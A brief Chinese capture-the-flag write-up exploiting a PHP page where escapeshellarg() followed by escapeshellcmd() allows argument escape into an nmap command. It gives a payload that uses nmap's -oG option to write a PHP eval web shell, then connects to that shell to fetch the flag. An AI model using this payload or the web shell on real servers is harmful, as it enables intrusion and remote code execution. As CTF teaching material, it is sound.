知識點
- 參數逃逸
- nmap寫文件
源代碼如下
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
REMOTE_ADDR和HTTP_X_FORWARDED_FOR是服務器獲取ip用的,此處無用。
escapeshellarg()和escapeshellcmd()函數連用會存在參數逃逸,參照
http://www.lmxspace.com/2018/07/16/談談escapeshellarg參數繞過和注入的問題/
再看
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
此處使用system函數,應該可以進行命令執行,nmap參數中 -oG可以進行文件寫入,此處我們寫入一句話木馬,最后payload為
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '
得到
hack.php文件應該是上傳到這個文件夾中了,使用菜刀連接即可在根目錄處找到flag